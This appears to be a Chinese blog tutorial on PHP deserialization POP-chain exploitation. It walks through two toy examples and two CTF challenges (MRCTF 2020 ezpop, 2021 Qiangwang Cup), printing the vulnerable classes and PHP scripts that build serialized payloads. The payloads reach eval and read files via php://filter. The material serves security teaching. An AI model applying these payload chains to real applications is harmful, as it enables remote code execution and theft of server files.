php反序列化——pop鏈實戰
php反序列化詳解參考:https://www.cnblogs.com/pursue-security/p/15291087.html
php反序列化之魔法函式詳解:https://www.cnblogs.com/pursue-security/p/15291121.html
本文主要是通過一些例項來學習pop鏈的構造
例項一
一般來說,出現php反序列化漏洞是因為有寫的不安全的魔術方法,因為魔術方法會自動呼叫,那我們就可以構造惡意的exp來觸發它,但有的時候如果出現漏洞的程式碼不在魔術方法中,而是隻在一個普通方法中,那我們怎麼利用呢?這時候我們可以尋找魔術方法中是否呼叫了同名的函式,然後通過相同的函式名將類的屬性和魔術方法中的屬性聯絡起來
<?php highlight_file(__FILE__); class test { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "HelloWorld"; } }class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['a']); ?>
比如說上面這個例子,危險函式應該是evil
類中的action
方法,裡面有個eval
,但action
方法並不是魔術方法,一般情況下我們是很難呼叫它的,但我們看到test
類中的__destruct()
呼叫了action
方法,但在__construct()
中可以看出它建立了一個normal
類的物件,然後呼叫的是normal
類中的action
方法;這個就很好辦,我們把魔術方法中的屬性改一下,改成建立一個evil
evil
類中的action
方法了,有了思路下面就來構造:
<?php class test { protected $ClassObj; } class evil { private $data='phpinfo();'; } $a = new evil(); $b = new test(); $b -> ClassObj = $a; echo serialize(urlencode($a)); ?>
本來構造出來應該是這樣,建立一個evil
類的物件然後把它賦值給ClassObj
屬性,但這裡這樣寫不行,因為ClassObj
屬性是protected
屬性,不能在類外面訪問它,所以說我們得在test
類裡面寫一個__construct()
來完成這個操作:
<?php class test { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data='phpinfo();'; } $a = new test(); echo urlencode(serialize($a)); ?>
例題二
<?php highlight_file(__FILE__); class Hello { public $source; public $str; public function __construct($name) { $this->str=$name; } public function __destruct() { $this->source=$this->str; echo $this->source; } } class Show { public $source; public $str; public function __toString() { $content = $this->str['str']->source; return $content; } } class Uwant { public $params; public function __construct(){ $this->params='phpinfo();'; } public function __get($key){ return $this->getshell($this->params); } public function getshell($value) { eval($this->params); } } $a = $_GET['a']; unserialize($a); ?>
思路分析:先找鏈子的頭和尾,頭部明顯是GET傳參,尾部是Uwant
類中的getshell
,然後往上倒推,Uwant
類中的__get()
中呼叫了getshell
,Show
類中的toString
呼叫了__get()
,然後Hello
類中的__destruct()
,而我們GET傳參之後會先進入__destruct()
,這樣子頭和尾就連上了,所以說完整的鏈子就是:
頭 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
至於魔術方法具體是怎麼呼叫的這就不講了,請看上一篇文章,這兒就簡單提一下,在Hello
類中我們要把$this->str
賦值成物件,下面echo
出來才能呼叫Show
類中的__toString()
,然後再把Show
類中的$this->str['str']
賦值成物件,來呼叫Uwant
類中的__get()
<?php class Hello { public $source; public $str; } class Show { public $source; public $str; } class Uwant { public $params='phpinfo();'; } $a = new Hello(); $b = new Show(); $c = new Uwant(); $a -> str = $b; $b -> str['str'] = $c; echo urlencode(serialize($a));
例題三——2020 mrctf ezpop
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
思路分析:仍然是先找鏈子的頭和尾,頭部依然是一個GET傳參,而尾部在Modifier
類中的append()
方法中,因為裡面有個include
可以完成任意檔案包含,那我們很容易就可以想到用偽協議來讀檔案,綜合上面的提示,應該flag就是在flag.php中,我們把它讀出來就好;找到尾部之後往前倒推,在Modifier
類中的__invoke()
呼叫了append()
,然後在Test
類中的__get()
返回的是$function()
,可以呼叫__invoke()
,再往前Show
類中的__toString()
可以呼叫__get()
,然後在Show
類中的__wakeup()
中有一個正則匹配,可以呼叫__toString()
,然後當我們傳入字串,反序列化之後最先進入的就是__wakeup()
,這樣子頭和尾就連上了,如下圖(來自LTLT):
頭 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾
<?php class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $a = new Show(); $b = new Show(); $c = new Test(); $d = new Modifier(); $a -> source = $b; $b -> str = $c; $c -> p = $d; echo urlencode(serialize($a)); ?>
然後base64解碼
例題四——2021 強網杯 賭徒
<meta charset="utf-8"> <?php //hint is in hint.php error_reporting(1); class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); }else{ $hi = new Start(); } ?>
分析:首先依然是找到頭和尾,頭部依然是一個GET傳參,而尾部可以看到Room
類中有個Get_hint()
方法,裡面有一個file_get_contents
,可以實現任意檔案讀取,我們就可以利用這個讀取flag檔案了,然後就是往前倒推,Room
類中__invoke()
方法呼叫了Get_hint()
,然後Room
類的__get()
裡面有個return $function()
可以呼叫__invoke()
,再往前看,Info
類中的__toString()
中有Room
類中不存在的屬性,所以可以呼叫__get()
,然後Start
類中有個_sayhello()
可以呼叫__toString()
,然後在Start
類中__wakeup()
方法中直接呼叫了_sayhello()
,而我們知道的是,輸入字串之後就會先進入__wakeup()
,這樣頭和尾就連上了
有了思路我們就直接開始構造,一般找思路我們是從尾到頭,而構造則是直接從頭到尾
頭 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()
<?php class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; } $a = new Start(); $b = new Info(); $c = new Room(); $d = new Room(); $a -> name = $b; $b -> file['filename'] = $c; $c -> a = $d; echo urlencode(serialize($a)); ?>
成功打通,注意要把前面的hi
去掉再進行base64編碼才能得到flag。